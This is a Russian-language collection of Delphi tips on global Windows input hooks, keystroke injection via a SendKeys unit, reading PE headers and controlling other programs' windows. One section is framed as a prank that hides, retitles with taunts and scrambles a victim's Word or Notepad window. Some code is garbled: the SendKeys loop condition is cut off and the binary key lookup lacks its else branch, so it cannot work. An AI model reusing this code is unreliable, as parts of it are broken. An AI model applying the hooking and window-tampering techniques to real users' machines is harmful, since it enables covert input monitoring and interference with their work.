Для ловушки нужна функция, которая, после установки ловушки
при помощи SetWindowsHookEx, будет вызываться при каждом нужном событии.
Эта функция получает всю информацию о событии. UnhookWindowsHookEx уничтожает ловушку.

Эта программа отслеживает все сообщения, связанные с мышью и клавиатурой.
CheckBox1 показывает состояние левой клавиши мыши,
CheckBox2 показывает состояние правой клавиши мыши,
а CheckBox3 показывает, нажата ли какая-либо клавиша на клавиатуре.

var
  HookHandle: hHook;

function HookProc(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
  msg: PEVENTMSG;
begin
  if Code >= 0 then begin
    result := 0;
    msg := Pointer(LParam);
    with Form1 do
      case msg.message of
        WM_MOUSEMOVE: Caption := IntToStr(msg.ParamL) + #32 + IntToStr(msg.ParamH);
        WM_LBUTTONDOWN: CheckBox1.Checked := true;
        WM_LBUTTONUP: CheckBox1.Checked := false;
        WM_RBUTTONDOWN: CheckBox2.Checked := true;
        WM_RBUTTONUP: CheckBox2.Checked := false;
        WM_KEYUP: CheckBox3.Checked := false;
        WM_KEYDOWN: CheckBox3.Checked := true;
      end;
  end else
    result := CallNextHookEx(HookHandle, code, WParam, LParam);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Form1.FormStyle := fsStayOnTop;
  CheckBox1.Enabled := false;
  CheckBox1.Caption := 'left button';
  CheckBox2.Enabled := false;
  CheckBox2.Caption := 'right button';
  CheckBox3.Enabled := false;
  CheckBox3.Caption := 'keyboard';
  HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, HInstance, 0);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  if HookHandle <> 0 then
    UnhookWindowsHookEx(HookHandle);
end;
Даниил Карапетян.
На сайте http://delphi4all.narod.ru Вы найдете еще более 100 советов по Delphi.
Email: delphi4all@narod.ru


Как эмулировать нажатия клавиш в другой программе?

Как эмулировать нажатия клавиш в другой программе
http://delfaq.wallst.ru/faq/emul.html
Этот модуль является почти полным аналогом мотоду SendKeys из VB.
(Автор: Ken Henderson, email:khen@compuserve.com)
================================================================

(*
SendKeys routine for 32-bit Delphi.

Written by Ken Henderson
Copyright (c) 1995 Ken Henderson email:khen@compuserve.com

This unit includes two routines that simulate popular Visual Basic
routines: Sendkeys and AppActivate. SendKeys takes a PChar
as its first parameter and a boolean as its second, like so:

SendKeys('KeyString', Wait);

where KeyString is a string of key names and modifiers that you want
to send to the current input focus and Wait is a boolean variable or value
that indicates whether SendKeys should wait for each key message to be
processed before proceeding. See the table below for more information.

AppActivate also takes a PChar as its only parameter, like so:

AppActivate('WindowName');

where WindowName is the name of the window that you want to make the
current input focus.

SendKeys supports the Visual Basic SendKeys syntax, as documented below.

Supported modifiers:

+ = Shift
^ = Control
% = Alt

Surround sequences of characters or key names with parentheses in order to
modify them as a group. For example, '+abc' shifts only 'a', while '+(abc)' shifts
all three characters.

Supported special characters

~ = Enter
( = Begin modifier group (see above)
) = End modifier group (see above)
{ = Begin key name text (see below)
} = End key name text (see below)

Supported characters:

Any character that can be typed is supported. Surround the modifier keys
listed above with braces in order to send as normal text.

Supported key names (surround these with braces):

BKSP, BS, BACKSPACE
BREAK
CAPSLOCK
CLEAR
DEL
DELETE
DOWN
END
ENTER
ESC
ESCAPE
F1
F2
F3
F4
F5
F6
F7
F8
F9
F10
F11
F12
F13
F14
F15
F16
HELP
HOME
INS
LEFT
NUMLOCK
PGDN
PGUP
PRTSC
RIGHT
SCROLLLOCK
TAB
UP

Follow the keyname with a space and a number to send the specified key a
given number of times (e.g., {left 6}).
*)

unit sndkey32;

interface

Uses SysUtils, Windows, Messages;

function SendKeys(SendKeysString : PChar; Wait : Boolean) : Boolean;
function AppActivate(WindowName : PChar) : boolean;

{Buffer for working with PChar's}

const
  WorkBufLen = 40;
var
  WorkBuf : array[0..WorkBufLen] of Char;

implementation
type
  THKeys = array[0..pred(MaxLongInt)] of byte;
var
  AllocationSize : integer;

(*
Converts a string of characters and key names to keyboard events and
passes them to Windows.

Example syntax:

SendKeys('abc123{left}{left}{left}def{end}456{left 6}ghi{end}789', True);

*)

function SendKeys(SendKeysString : PChar; Wait : Boolean) : Boolean;
type
  WBytes = array[0..pred(SizeOf(Word))] of Byte;

  TSendKey = record
    Name : ShortString;
    VKey : Byte;
  end;

const

{Array of keys that SendKeys recognizes.

  if you add to this list, you must be sure to keep it sorted alphabetically
  by Name because a binary search routine is used to scan it.}

  MaxSendKeyRecs = 41;
  SendKeyRecs : array[1..MaxSendKeyRecs] of TSendKey =
  (
   (Name:'BKSP'; VKey:VK_BACK),
   (Name:'BS'; VKey:VK_BACK),
   (Name:'BACKSPACE'; VKey:VK_BACK),
   (Name:'BREAK'; VKey:VK_CANCEL),
   (Name:'CAPSLOCK'; VKey:VK_CAPITAL),
   (Name:'CLEAR'; VKey:VK_CLEAR),
   (Name:'DEL'; VKey:VK_DELETE),
   (Name:'DELETE'; VKey:VK_DELETE),
   (Name:'DOWN'; VKey:VK_DOWN),
   (Name:'END'; VKey:VK_END),
   (Name:'ENTER'; VKey:VK_RETURN),
   (Name:'ESC'; VKey:VK_ESCAPE),
   (Name:'ESCAPE'; VKey:VK_ESCAPE),
   (Name:'F1'; VKey:VK_F1),
   (Name:'F10'; VKey:VK_F10),
   (Name:'F11'; VKey:VK_F11),
   (Name:'F12'; VKey:VK_F12),
   (Name:'F13'; VKey:VK_F13),
   (Name:'F14'; VKey:VK_F14),
   (Name:'F15'; VKey:VK_F15),
   (Name:'F16'; VKey:VK_F16),
   (Name:'F2'; VKey:VK_F2),
   (Name:'F3'; VKey:VK_F3),
   (Name:'F4'; VKey:VK_F4),
   (Name:'F5'; VKey:VK_F5),
   (Name:'F6'; VKey:VK_F6),
   (Name:'F7'; VKey:VK_F7),
   (Name:'F8'; VKey:VK_F8),
   (Name:'F9'; VKey:VK_F9),
   (Name:'HELP'; VKey:VK_HELP),
   (Name:'HOME'; VKey:VK_HOME),
   (Name:'INS'; VKey:VK_INSERT),
   (Name:'LEFT'; VKey:VK_LEFT),
   (Name:'NUMLOCK'; VKey:VK_NUMLOCK),
   (Name:'PGDN'; VKey:VK_NEXT),
   (Name:'PGUP'; VKey:VK_PRIOR),
   (Name:'PRTSC'; VKey:VK_PRINT),
   (Name:'RIGHT'; VKey:VK_RIGHT),
   (Name:'SCROLLLOCK'; VKey:VK_SCROLL),
   (Name:'TAB'; VKey:VK_TAB),
   (Name:'UP'; VKey:VK_UP)
  );
{Extra VK constants missing from Delphi's Windows API interface}
  VK_NULL=0;
  VK_SemiColon=186;
  VK_Equal=187;
  VK_Comma=188;
  VK_Minus=189;
  VK_Period=190;
  VK_Slash=191;
  VK_BackQuote=192;
  VK_LeftBracket=219;
  VK_BackSlash=220;
  VK_RightBracket=221;
  VK_Quote=222;
  VK_Last=VK_Quote;

  ExtendedVKeys : set of byte =
  [VK_Up,
   VK_Down,
   VK_Left,
   VK_Right,
   VK_Home,
   VK_End,
   VK_Prior, {PgUp}
   VK_Next, {PgDn}
   VK_Insert,
   VK_Delete];

const
  INVALIDKEY = $FFFF;
  VKKEYSCANSHIFTON = $01;
  VKKEYSCANCTRLON = $02;
  VKKEYSCANALTON = $04;
  UNITNAME = 'SendKeys';
var
  UsingParens, ShiftDown, ControlDown, AltDown, FoundClose : Boolean;
  PosSpace : Byte;
  I, L : Integer;
  NumTimes, MKey : Word;
  KeyString : String[20];

procedure DisplayMessage(Message : PChar);
begin
  MessageBox(0,Message,UNITNAME,0);
end;

function BitSet(BitTable, BitMask : Byte) : Boolean;
begin
  Result:=ByteBool(BitTable and BitMask);
end;

procedure SetBit(var BitTable : Byte; BitMask : Byte);
begin
  BitTable:=BitTable or Bitmask;
end;

procedure KeyboardEvent(VKey, ScanCode : Byte; Flags : Longint);
var
  KeyboardMsg : TMsg;
begin
  keybd_event(VKey, ScanCode, Flags,0);
  if (Wait) then While (PeekMessage(KeyboardMsg,0,WM_KEYFIRST, WM_KEYLAST, PM_REMOVE)) do begin
    TranslateMessage(KeyboardMsg);
    DispatchMessage(KeyboardMsg);
  end;
end;

procedure SendKeyDown(VKey: Byte; NumTimes : Word; GenUpMsg : Boolean);
var
  Cnt : Word;
  ScanCode : Byte;
  NumState : Boolean;
  KeyBoardState : TKeyboardState;
begin
  if (VKey=VK_NUMLOCK) then begin
    NumState:=ByteBool(GetKeyState(VK_NUMLOCK) and 1);
    GetKeyBoardState(KeyBoardState);
    if NumState then KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK] and not 1)
    else KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK] or 1);
    SetKeyBoardState(KeyBoardState);
    exit;
  end;

  ScanCode:=Lo(MapVirtualKey(VKey,0));
  For Cnt:=1 to NumTimes do
    if (VKey in ExtendedVKeys)then begin
      KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY);
      if (GenUpMsg) then
        KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP)
    end else begin
      KeyboardEvent(VKey, ScanCode, 0);
      if (GenUpMsg) then KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP);
    end;
end;

procedure SendKeyUp(VKey: Byte);
var
  ScanCode : Byte;
begin
  ScanCode:=Lo(MapVirtualKey(VKey,0));
  if (VKey in ExtendedVKeys)then
    KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY and KEYEVENTF_KEYUP)
  else KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP);
end;

procedure SendKey(MKey: Word; NumTimes : Word; GenDownMsg : Boolean);
begin
  if (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyDown(VK_SHIFT,1,False);
  if (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyDown(VK_CONTROL,1,False);
  if (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyDown(VK_MENU,1,False);
  SendKeyDown(Lo(MKey), NumTimes, GenDownMsg);
  if (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyUp(VK_SHIFT);
  if (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyUp(VK_CONTROL);
  if (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyUp(VK_MENU);
end;

{Implements a simple binary search to locate special key name strings}
function StringToVKey(KeyString : ShortString) : Word;
var
  Found, Collided : Boolean;
  Bottom, Top, Middle : Byte;
begin
  Result:=INVALIDKEY;
  Bottom:=1;
  Top:=MaxSendKeyRecs;
  Found:=false;
  Middle:=(Bottom+Top) div 2;
  Repeat
    Collided:=((Bottom=Middle) or (Top=Middle));
    if (KeyString=SendKeyRecs[Middle].Name) then begin
       Found:=true;
       Result:=SendKeyRecs[Middle].VKey;
           if (KeyString>SendKeyRecs[Middle].Name) then Bottom:=Middle
       else Top:=Middle;
       Middle:=(Succ(Bottom+Top)) div 2;
    end;
  Until (Found or Collided);
  if (Result=INVALIDKEY) then DisplayMessage('Invalid Key Name');
end;

procedure PopUpShiftKeys;
begin
  if (not UsingParens) then begin
    if ShiftDown then SendKeyUp(VK_SHIFT);
    if ControlDown then SendKeyUp(VK_CONTROL);
    if AltDown then SendKeyUp(VK_MENU);
    ShiftDown:=false;
    ControlDown:=false;
    AltDown:=false;
  end;
end;

begin
  AllocationSize:=MaxInt;
  Result:=false;
  UsingParens:=false;
  ShiftDown:=false;
  ControlDown:=false;
  AltDown:=false;
  I:=0;
  L:=StrLen(SendKeysString);
  if (L>AllocationSize) then L:=AllocationSize;
  if (L=0) then Exit;

  While (I
    case SendKeysString[I] of
    '(' : begin
            UsingParens:=true;
            Inc(I);
          end;
    ')' : begin
            UsingParens:=false;
            PopUpShiftKeys;
            Inc(I);
          end;
    '%' : begin
             AltDown:=true;
             SendKeyDown(VK_MENU,1,False);
             Inc(I);
          end;
    '+' : begin
             ShiftDown:=true;
             SendKeyDown(VK_SHIFT,1,False);
             Inc(I);
           end;
    '^' : begin
             ControlDown:=true;
             SendKeyDown(VK_CONTROL,1,False);
             Inc(I);
           end;
    '{' : begin
            NumTimes:=1;
            if (SendKeysString[Succ(I)]='{') then begin
              MKey:=VK_LEFTBRACKET;
              SetBit(Wbytes(MKey)[1],VKKEYSCANSHIFTON);
              SendKey(MKey,1,True);
              PopUpShiftKeys;
              Inc(I,3);
              Continue;
            end;
            KeyString:='';
            FoundClose:=false;
            While (I<=L) do begin
              Inc(I);
              if (SendKeysString[I]='}') then begin
                FoundClose:=true;
                Inc(I);
                Break;
              end;
              KeyString:=KeyString+Upcase(SendKeysString[I]);
            end;
            if (Not FoundClose) then begin
               DisplayMessage('No Close');
               Exit;
            end;
            if (SendKeysString[I]='}') then begin
              MKey:=VK_RIGHTBRACKET;
              SetBit(Wbytes(MKey)[1],VKKEYSCANSHIFTON);
              SendKey(MKey,1,True);
              PopUpShiftKeys;
              Inc(I);
              Continue;
            end;
            PosSpace:=Pos(' ',KeyString);
            if (PosSpace<>0) then begin
               NumTimes:=StrToInt(Copy(KeyString,Succ(PosSpace),Length(KeyString)-PosSpace));
               KeyString:=Copy(KeyString,1,Pred(PosSpace));
            end;
            if (Length(KeyString)=1) then MKey:=vkKeyScan(KeyString[1])
            else MKey:=StringToVKey(KeyString);
            if (MKey<>INVALIDKEY) then begin
              SendKey(MKey,NumTimes,True);
              PopUpShiftKeys;
              Continue;
            end;
          end;
    '~' : begin
            SendKeyDown(VK_RETURN,1,True);
            PopUpShiftKeys;
            Inc(I);
          end;
    else begin
             MKey:=vkKeyScan(SendKeysString[I]);
             if (MKey<>INVALIDKEY) then begin
               SendKey(MKey,1,True);
               PopUpShiftKeys;
             end else DisplayMessage('Invalid KeyName');
             Inc(I);
          end;
    end;
  end;
  Result:=true;
  PopUpShiftKeys;
end;

{AppActivate

This is used to set the current input focus to a given window using its
name. This is especially useful for ensuring a window is active before
sending it input messages using the SendKeys function. You can specify
a window's name in its entirety, or only portion of it, beginning from
the left.

}

var
  WindowHandle : HWND;

function EnumWindowsProc(WHandle: HWND; lParam: LPARAM): BOOL; export; stdcall;
const
  MAX_WINDOW_NAME_LEN = 80;
var
  WindowName : array[0..MAX_WINDOW_NAME_LEN] of char;
begin
  {Can't test GetWindowText's return value since some windows don't have a title}
  GetWindowText(WHandle,WindowName,MAX_WINDOW_NAME_LEN);
  Result := (StrLIComp(WindowName,PChar(lParam), StrLen(PChar(lParam))) <> 0);
  if (not Result) then WindowHandle:=WHandle;
end;

function AppActivate(WindowName : PChar) : boolean;
begin
  try
    Result:=true;
    WindowHandle:=FindWindow(nil,WindowName);
    if (WindowHandle=0) then EnumWindows(@EnumWindowsProc,Intege (PChar(WindowName)));
    if (WindowHandle<>0) then begin
      SendMessage(WindowHandle, WM_SYSCOMMAND, SC_HOTKEY, WindowHandle);
      SendMessage(WindowHandle, WM_SYSCOMMAND, SC_RESTORE, WindowHandle);
    end else Result:=false;
  except
    on Exception do Result:=false;
  end;
end;

end.

Взято с сайта http://blackman.wp-club.net/


Как изменить заголовок чужого окна?

SetWindowText(FindWindow(nil,'Текущий заголовок'), 'Желаемый');

Автор trainer
Взято из http://forum.sources.ru


Читаем заголовок exe файла

{ You'll need a OpenDialog to open a Exe-File and a Memo to show the file informations }

procedure DumpDOSHeader(const h: IMAGE_DOS_HEADER; Lines: TStrings);
begin
  Lines.Add('Dump of DOS file header');
  Lines.Add(Format('Magic number: %d', [h.e_magic]));
  Lines.Add(Format('Bytes on last page of file: %d', [h.e_cblp]));
  Lines.Add(Format('Pages in file: %d', [h.e_cp]));
  Lines.Add(Format('Relocations: %d', [h.e_crlc]));
  Lines.Add(Format('Size of header in paragraphs: %d', [h.e_cparhdr]));
  Lines.Add(Format('Minimum extra paragraphs needed: %d', [h.e_minalloc]));
  Lines.Add(Format('Maximum extra paragraphs needed: %d', [h.e_maxalloc]));
  Lines.Add(Format('Initial (relative) SS value: %d', [h.e_ss]));
  Lines.Add(Format('Initial SP value: %d', [h.e_sp]));
  Lines.Add(Format('Checksum: %d', [h.e_csum]));
  Lines.Add(Format('Initial IP value: %d', [h.e_ip]));
  Lines.Add(Format('Initial (relative) CS value: %d', [h.e_cs]));
  Lines.Add(Format('File address of relocation table: %d', [h.e_lfarlc]));
  Lines.Add(Format('Overlay number: %d', [h.e_ovno]));
  Lines.Add(Format('OEM identifier (for e_oeminfo): %d', [h.e_oemid]));
  Lines.Add(Format('OEM information; e_oemid specific: %d', [h.e_oeminfo]));
  Lines.Add(Format('File address of new exe header: %d', [h._lfanew]));
  Lines.Add('');
end;

procedure DumpPEHeader(const h: IMAGE_FILE_HEADER; Lines: TStrings);
var
  dt: TDateTime;
begin
  Lines.Add('Dump of PE file header');
  Lines.Add(Format('Machine: %4x', [h.Machine]));
  case h.Machine of
    IMAGE_FILE_MACHINE_UNKNOWN : Lines.Add(' MACHINE_UNKNOWN ');
    IMAGE_FILE_MACHINE_I386: Lines.Add(' Intel 386. ');
    IMAGE_FILE_MACHINE_R3000: Lines.Add(' MIPS little-endian, 0x160 big-endian ');
    IMAGE_FILE_MACHINE_R4000: Lines.Add(' MIPS little-endian ');
    IMAGE_FILE_MACHINE_R10000: Lines.Add(' MIPS little-endian ');
    IMAGE_FILE_MACHINE_ALPHA: Lines.Add(' Alpha_AXP ');
    IMAGE_FILE_MACHINE_POWERPC: Lines.Add(' IBM PowerPC Little-Endian ');
    // some values no longer defined in winnt.h
    $14D: Lines.Add(' Intel i860');
    $268: Lines.Add(' Motorola 68000');
    $290: Lines.Add(' PA RISC');
    else
      Lines.Add(' unknown machine type');
  end; { Case }
  Lines.Add(Format('NumberOfSections: %d', [h.NumberOfSections]));
  Lines.Add(Format('TimeDateStamp: %d', [h.TimeDateStamp]));
  dt := EncodeDate(1970, 1, 1) + h.Timedatestamp / SecsPerDay;
  Lines.Add(FormatDateTime(' c', dt));

  Lines.Add(Format('PointerToSymbolTable: %d', [h.PointerToSymbolTable]));
  Lines.Add(Format('NumberOfSymbols: %d', [h.NumberOfSymbols]));
  Lines.Add(Format('SizeOfOptionalHeader: %d', [h.SizeOfOptionalHeader]));
  Lines.Add(Format('Characteristics: %d', [h.Characteristics]));
  if (IMAGE_FILE_DLL and h.Characteristics) <> 0 then
    Lines.Add(' file is a DLL')
  else if (IMAGE_FILE_EXECUTABLE_IMAGE and h.Characteristics) <> 0 then
    Lines.Add(' file is a program');
  Lines.Add('');
end;

procedure DumpOptionalHeader(const h: IMAGE_OPTIONAL_HEADER; Lines: TStrings);
begin
  Lines.Add('Dump of PE optional file header');
  Lines.Add(Format('Magic: %d', [h.Magic]));
  case h.Magic of
    $107: Lines.Add(' ROM image');
    $10b: Lines.Add(' executable image');
    else
      Lines.Add(' unknown image type');
  end; { If }
  Lines.Add(Format('MajorLinkerVersion: %d', [h.MajorLinkerVersion]));
  Lines.Add(Format('MinorLinkerVersion: %d', [h.MinorLinkerVersion]));
  Lines.Add(Format('SizeOfCode: %d', [h.SizeOfCode]));
  Lines.Add(Format('SizeOfInitializedData: %d', [h.SizeOfInitializedData]));
  Lines.Add(Format('SizeOfUninitializedData: %d', [h.SizeOfUninitializedData]));
  Lines.Add(Format('AddressOfEntryPoint: %d', [h.AddressOfEntryPoint]));
  Lines.Add(Format('BaseOfCode: %d', [h.BaseOfCode]));
  Lines.Add(Format('BaseOfData: %d', [h.BaseOfData]));
  Lines.Add(Format('ImageBase: %d', [h.ImageBase]));
  Lines.Add(Format('SectionAlignment: %d', [h.SectionAlignment]));
  Lines.Add(Format('FileAlignment: %d', [h.FileAlignment]));
  Lines.Add(Format('MajorOperatingSystemVersion: %d', [h.MajorOperatingSystemVersion]));
  Lines.Add(Format('MinorOperatingSystemVersion: %d', [h.MinorOperatingSystemVersion]));
  Lines.Add(Format('MajorImageVersion: %d', [h.MajorImageVersion]));
  Lines.Add(Format('MinorImageVersion: %d', [h.MinorImageVersion]));
  Lines.Add(Format('MajorSubsystemVersion: %d', [h.MajorSubsystemVersion]));
  Lines.Add(Format('MinorSubsystemVersion: %d', [h.MinorSubsystemVersion]));
  Lines.Add(Format('Win32VersionValue: %d', [h.Win32VersionValue]));
  Lines.Add(Format('SizeOfImage: %d', [h.SizeOfImage]));
  Lines.Add(Format('SizeOfHeaders: %d', [h.SizeOfHeaders]));
  Lines.Add(Format('CheckSum: %d', [h.CheckSum]));
  Lines.Add(Format('Subsystem: %d', [h.Subsystem]));
  case h.Subsystem of
    IMAGE_SUBSYSTEM_NATIVE:
      Lines.Add(' Image doesnot require a subsystem. ');
    IMAGE_SUBSYSTEM_WINDOWS_GUI:
      Lines.Add(' Image runs in the Windows GUI subsystem. ');
    IMAGE_SUBSYSTEM_WINDOWS_CUI:
      Lines.Add(' Image runs in the Windows character subsystem. ');
    IMAGE_SUBSYSTEM_OS2_CUI:
      Lines.Add(' image runs in the OS/2 character subsystem. ');
    IMAGE_SUBSYSTEM_POSIX_CUI:
      Lines.Add(' image run in the Posix character subsystem. ');
    else
      Lines.Add(' unknown subsystem')
  end; { Case }
  Lines.Add(Format('DllCharacteristics: %d', [h.DllCharacteristics]));
  Lines.Add(Format('SizeOfStackReserve: %d', [h.SizeOfStackReserve]));
  Lines.Add(Format('SizeOfStackCommit: %d', [h.SizeOfStackCommit]));
  Lines.Add(Format('SizeOfHeapReserve: %d', [h.SizeOfHeapReserve]));
  Lines.Add(Format('SizeOfHeapCommit: %d', [h.SizeOfHeapCommit]));
  Lines.Add(Format('LoaderFlags: %d', [h.LoaderFlags]));
  Lines.Add(Format('NumberOfRvaAndSizes: %d', [h.NumberOfRvaAndSizes]));
end;

// Example Call, Beispielaufruf:

procedure TForm1.Button1Click(Sender: TObject);
var
  fs: TFilestream;
  signature: DWORD;
  dos_header: IMAGE_DOS_HEADER;
  pe_header: IMAGE_FILE_HEADER;
  opt_header: IMAGE_OPTIONAL_HEADER;
begin
  memo1.Clear;
  with Opendialog1 do
  begin
    Filter := 'Executables (*.EXE)|*.EXE';
    if Execute then
    begin
      fs := TFilestream.Create(FileName, fmOpenread or fmShareDenyNone);
      try
        fs.read(dos_header, SizeOf(dos_header));
        if dos_header.e_magic <> IMAGE_DOS_SIGNATURE then
        begin
          memo1.Lines.Add('Invalid DOS file header');
          Exit;
        end;
        DumpDOSHeader(dos_header, memo1.Lines);

        fs.seek(dos_header._lfanew, soFromBeginning);
        fs.read(signature, SizeOf(signature));
        if signature <> IMAGE_NT_SIGNATURE then
        begin
          memo1.Lines.Add('Invalid PE header');
          Exit;
        end;

        fs.read(pe_header, SizeOf(pe_header));
        DumpPEHeader(pe_header, memo1.Lines);

        if pe_header.SizeOfOptionalHeader > 0 then
        begin
          fs.read(opt_header, SizeOf(opt_header));
          DumpOptionalHeader(opt_header, memo1.Lines);
        end;
      finally
        fs.Free;
      end; { finally }
    end;
  end;
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Требуется нажать в другом приложении пару кнопок?

Требуется нажать в "другом" приложении пару кнопок (button). (кнопки не имеют hotkeys). Ищу окно так (Дельфи):

if FindWindow(nil, 'Advanced Dialer')<> 0 then
  ShowMessage('OK');

А теперь в найденном приложении надо нажать кнопку HangUp, подождать 5 сек. и нажать кнопку Dial. Подскажите плз. как это реализовать. Я не знаю, что там за кнопки... Если класс Button, то один вариант, если это конпки на тулбаре, то другой. Вот посмотри, я писал когда-то, лишнее стирать лень... реализуется 1-й и 2-й способ:

function PressAbortAndReloadBtn: string;
var
  MenuHnd: THandle;
  //описатель меню
  ItemUint: UINT;
  //идентификатор пункта меню
  BtnHnd: THandle;
begin
  result := PRX_UNKNOWN_ERR;
  GetProcList;
  if Prx_MainWHnd <> 0 then
  begin
    BtnHnd := FindWindowEx(Prx_MainWHnd, 0, nil, PChar(PrxABtnName));
    SendMessage(BtnHnd, BM_CLICK, 0, 0);
    Sleep(100);
    MenuHnd := GetMenu(Prx_MainWHnd);
    if Menuhnd <> 0 then
    begin
      ItemUint := GetMenuItemID(Menuhnd, 4);
      if ItemUint <> 0 then
      begin
        SendMessage(Prx_MainWHnd, WM_COMMAND, ItemUint, 0);
        result := PRX_OK;
      end
      else
        result := PRX_ITEM_NOT_FOUND;
    end
    else
      result := PRX_MENU_NOT_FOUND;
  end
  else
    result := PRX_NOT_FOUND;
  if result <> PRX_OK then
    WriteLog(result);
end;

// У себя делал так

procedure ClickOnForm(wnd: HWND; caption: string);
var
  TheChildHandle: HWND;
begin
  TheChildHandle := FindWindowEx(wnd, 0, nil, PChar(caption));
  SendMessage(TheChildHandle, WM_LButtonDown, 1, 1);
  SendMessage(TheChildHandle, WM_LButtonUP, 1, 1);
end;

procedure TForm1.Button4Click(Sender: TObject);
var
  wnd: HWND;
  caption: string;
begin
  wnd := GetTopWindow(0);
  repeat
    SetLength(caption, GetWindowtextLength(wnd));
    GetWindowText(wnd, @caption[1], length(caption) + 1);

    if (trim(caption) = 'Form caption') then
      ClickOnForm(wnd, 'Button name');
    wnd := GetNextWindow(wnd, GW_HWNDNEXT);
  until wnd = 0;
end;

Взято с http://delphiworld.narod.ru


Взаимодействие с чужими окнами

Представьте себе, глупый пользователь сидит как ни в чём небывало с умным видом уже в какой раз пытается составить документ в Microsoft Word'e, но вдруг окно начинает бешено скакать по экрану, в его заголовке выводятся непристойные сообщения, оно то сворачивается, то разворачивается, меняя постоянно свои размеры, а под конец совсем исчезает, унося в небытиё весь текст, который с таким трудом набил ламерюга... а если так себя в любой момент может повести любая программа... впечатления от этого останутся на долго!!!

Для того, чтобы сделать что-нибудь над каким-либо окном нужно сначала получить его дескриптор, т.е. его положение в оперативной памяти. Для этого нужно использовать функцию FindWindow. Ей нужно указать всего два параметра: сначала класс искомого окна, затем его заголовок. Ну с заголовком проблем вообщем-то нет - его мы видим, но вот как определить класс... ведь он скрыт от глас пользователя. В действительности мы может указать только заголовок окна, а вместо класса ставим nil.

Для начала запустите стандартную программу "Блокнот" - и что же мы видим? В блокноте в заголовке окна отслеживается имя текущего файла. Изначально, т.к. файла нет в использовании, заголовок блокнота выглядит так: "Безымянный - Блокнот". Постараемся по этому критерию найти окно блокнота. Выглядеть это будет так:

if FindWindow(nil, 'Безымянный - Блокнот') <> 0 then
  ShowMessage('Окно найдено')
else
  ShowMessage('Окно НЕнайдено');

Как мы видим из кода, если наша программа найдёт окно блокнота, мы увидим сообщение, гласящее об этом.

Далее попробуем передвинуть это окно

var
  h: HWND;
begin
  h := findwindow(nil, 'Безымянный - Блокнот');
  if h <> 0 then
    SetWindowPos(h, HWND_BOTTOM, 1, 1, 20, 20, swp_nosize);
end;

Опять находим блокнот. Его дескриптор помещаем в переменную класса HWND[С английского Handle Window - дескриптор окна]. Далее используем функцию SetWindowPos для задания позиции. В качестве параметров нужно указать:

Дескриптор окна, которое хотим переместить
Идентификатор окна, которое предшествует перемещаемому окну в Z-последовательности. Z-последовательность это порядок, в котором формировались окна. Данный параметр указывает с какого именно окна необходимо начинать писк. В качестве значений может принимать либо дескриптор какого-либо окна в системе, либо одно из нижеследующих значений:
HWND_BOTTOM Начало Z-последовательности
HWND_NOTOPMOST Первое окно которое располагается не "поверх все окон"
HWND_TOP Вершина Z-последовательности
HWND_TOPMOST Первое окно которое располагается "поверх все окон"
Позиция окна по горизонтали
Позиция окна по вертикали
Ширина окна
Высота окна
Спецификаторы изменения позиции и размеров окна[флаги]. Для задания значения можно комбинировать следующие константы
SWP_DRAWFRAME Прорисовка фрейма вокруг окна.
SWP_FRAMECHANGED Посылает сообщение WM_NCCALCSIZE окну, даже если размер его не был изменён. Если этот флаг не указан, сообщение WM_NCCALCSIZE будет посылаться, только после изменения размеров окна.
SWP_HIDEWINDOW Скрывает окно.
SWP_NOACTIVATE Не активизирует окно. Если же этот флаг не будет поставлен, окно активизируется и будет перемещено поверх всех окон. А вот встанет ли окно даже выше тех окон, которым задано HWND_TOPMOST или нет зависит от параметра hWndInsertAfter.
SWP_NOCOPYBITS Если этот спецификатор не будет установлен, тогда содержимое клиентской области окна будет скопировано и вставлено во вновь отобразившееся окно после его перемещения.
SWP_NOMOVE Сообщает, что нужно игнорировать параметры задания позиции окну.
SWP_NOOWNERZORDER Сообщает, что не следует изменять позицию окна владельца в Z-последовательности.
SWP_NOREDRAW Не перерисовывает окно.
SWP_NOREPOSITION Такой же как и SWP_NOOWNERZORDER.
SWP_NOSENDCHANGING Мешает окну получить сообщение WM_WINDOWPOSCHANGING.
SWP_NOSIZE Сообщает, что нужно игнорировать параметры задания размеров окну.
SWP_NOZORDER Сохраняет текущее положение в Z-последовательности (игнорирует сообщение hWndInsertAfter parameter).
SWP_SHOWWINDOW Отображает окно.
Если данная функция выполнится успешно, она возвратит отличное от нуля значение. Ну, вот, теперь мы можем передвигать и изменять в размерах чужие окна!!! Для того, чтобы изменить заголовок окна напишем следующий код:

SetWindowText(FindWindow(nil, 'Безымянный - Блокнот'),
'Дарова, ламерюга, типа ты попал... ');

Функции setwindowtext нужно указать только два параметра: это дескриптор нужного окна и новое значение для заголовка. Вот вообщем-то и всё!

Есть ещё одна интересная функция ShowWindow, которая позволяет скрывать или отображать окна. Использовать её нужно так::

ShowWindow(FindWindow(nil, 'Безымянный - Блокнот'), sw_hide);

В скобках указываем сначала над каким именно окном хотим издеваться, а затем что именно мы хотим с ним сделать. В качестве возможных действий можем указать:

SW_HIDE Скрывает окно и активизирует другое.
SW_MAXIMIZE Разворачивает окно.
SW_MINIMIZE Сворачивает окно.
SW_RESTORE Активизирует и выводит окно. Если окно было развёрнуто или свёрнуто - восстанавливает исходный размер и позицию.
SW_SHOW Активизирует и выводит окно с его оригинальным размером и положением.
SW_SHOWDEFAULT Активизирует с установками, заданными в структуре STARTUPINFO, которая была передана при создании процесса приложением запускающим нужную программу.
